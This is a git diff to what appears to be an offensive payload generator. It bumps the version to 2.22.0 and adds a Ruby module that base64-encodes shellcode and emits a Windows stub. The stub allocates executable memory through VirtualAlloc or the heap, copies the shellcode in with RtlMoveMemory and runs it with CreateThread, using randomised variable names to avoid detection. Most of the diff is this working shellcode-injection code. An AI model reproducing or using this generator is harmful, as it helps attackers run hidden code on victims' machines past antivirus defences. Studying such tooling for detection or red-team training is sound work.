diff --git a/CHANGELOG b/CHANGELOG
index 049c334..4145780 100644
--- a/CHANGELOG
+++ b/CHANGELOG
@@ -1,3 +1,7 @@
+[9.15.2015]
+     Released.: 2.22.0
+     Added....: Added a Ruby payload which base64 decodes its shellcode at runtime and injects into memory
+
 [07.11.2015]
      Released.: 2.21.4
      Updated..: Addressed issue #189, where powershell payloads essentially ignore the compile option since it doesn't apply to them.
diff --git a/modules/common/encryption.py b/modules/common/encryption.py
index bf980c0..4f8fc26 100644
--- a/modules/common/encryption.py
+++ b/modules/common/encryption.py
@@ -136,6 +136,7 @@ def knownPlaintext(known_key, random_plaintext):
     # return our encrypted known plaintext
     return encrypted_string
 
+
 def encryptDES(s):
     """
     Generates a random DES key and IV, builds an DES cipher,
@@ -149,7 +150,7 @@ def encryptDES(s):
     desmain = DES.new(key, DES.MODE_CFB, iv)
     encrypted = desmain.encrypt(s)
 
-    return (encrypted, (key,iv) )
+    return (encrypted, (key, iv))
 
 
 def encryptARC(s):
diff --git a/modules/common/messages.py b/modules/common/messages.py
index 63a2b40..924baea 100644
--- a/modules/common/messages.py
+++ b/modules/common/messages.py
@@ -8,7 +8,7 @@
 import helpers
 
 
-version = "2.21.4"
+version = "2.22.0"
 
 
 # try to find and import the settings.py config file
diff --git a/modules/payloads/ruby/shellcode_inject/base64.py b/modules/payloads/ruby/shellcode_inject/base64.py
new file mode 100644
index 0000000..63bc160
--- /dev/null
+++ b/modules/payloads/ruby/shellcode_inject/base64.py
@@ -0,0 +1,66 @@
+"""
+
+Ruby inline base64 decoding of shellcode and injector
+
+TODO: better randomization
+
+
+Module built by @ChrisTruncer
+
+"""
+
+import base64
+
+from modules.common import shellcode
+from modules.common import helpers
+
+
+class Payload:
+
+    def __init__(self):
+        # required options
+        self.description = "Base64 decode for shellcode injection"
+        self.language = "ruby"
+        self.extension = "rb"
+        self.rating = "Normal"
+
+        # optional
+        self.shellcode = shellcode.Shellcode()
+
+        # options we require user ineraction for- format is {Option : [Value, Description]]}
+        self.required_options = {
+                                    "COMPILE_TO_EXE" : ["Y", "Compile to an executable"],
+                                    "INJECT_METHOD"  : ["Virtual", "Virtual, or Heap"]
+                                }
+
+    def generate(self):
+
+        Shellcode = self.shellcode.generate(self.required_options)
+        print Shellcode
+        Shellcode = base64.b64encode(Shellcode)
+
+        # randomly generate out variable names
+        payloadName = helpers.randomString()
+        ptrName = helpers.randomString()
+        threadName = helpers.randomString()
+        heap_name = helpers.randomString()
+
+        payloadCode = "require 'rubygems'\n"
+        payloadCode += "require 'win32/api'\n"
+        payloadCode += "include Win32\n"
+        payloadCode += "require 'base64'\n"
+        payloadCode += "exit if Object.const_defined?(:Ocra)\n"
+
+        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
+            payloadCode += "v = API.new('VirtualAlloc', 'IIII', 'I');r = API.new('RtlMoveMemory', 'IPI', 'V');c = API.new('CreateThread', 'IIIIIP', 'I');w = API.new('WaitForSingleObject', 'II', 'I')\n"
+            payloadCode += payloadName + " = [\"" + Shellcode + "\".unpack(\"m\")[0].delete(\"\\\\\\\\x\")].pack(\"H*\")\n"
+            payloadCode += "%s = v.call(0,(%s.length > 0x1000 ? %s.length : 0x1000), 0x1000, 0x40)\n" %(ptrName,payloadName,payloadName)
+            payloadCode += "x = r.call(%s,%s,%s.length); %s = c.call(0,0,%s,0,0,0); x = w.call(%s,0xFFFFFFF)\n" %(ptrName,payloadName,payloadName,threadName,ptrName,threadName)
+
+        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
+            payloadCode += "v = API.new('HeapCreate', 'III', 'I');q = API.new('HeapAlloc', 'III', 'I');r = API.new('RtlMoveMemory', 'IPI', 'V');c = API.new('CreateThread', 'IIIIIP', 'I');w = API.new('WaitForSingleObject', 'II', 'I')\n"
+            payloadCode += payloadName + " = [\"" + Shellcode + "\".unpack(\"m\")[0].delete(\"\\\\\\\\x\")].pack(\"H*\")\n"
+            payloadCode += "%s = v.call(0x0004,(%s.length > 0x1000 ? %s.length : 0x1000), 0)\n" %(heap_name,payloadName,payloadName)
+            payloadCode += "%s = q.call(%s, 0x00000008, %s.length)\n" %(ptrName,heap_name,payloadName)
+            payloadCode += "x = r.call(%s,%s,%s.length); %s = c.call(0,0,%s,0,0,0); x = w.call(%s,86400)\n" %(ptrName,payloadName,payloadName,threadName,ptrName,threadName)
+        return payloadCode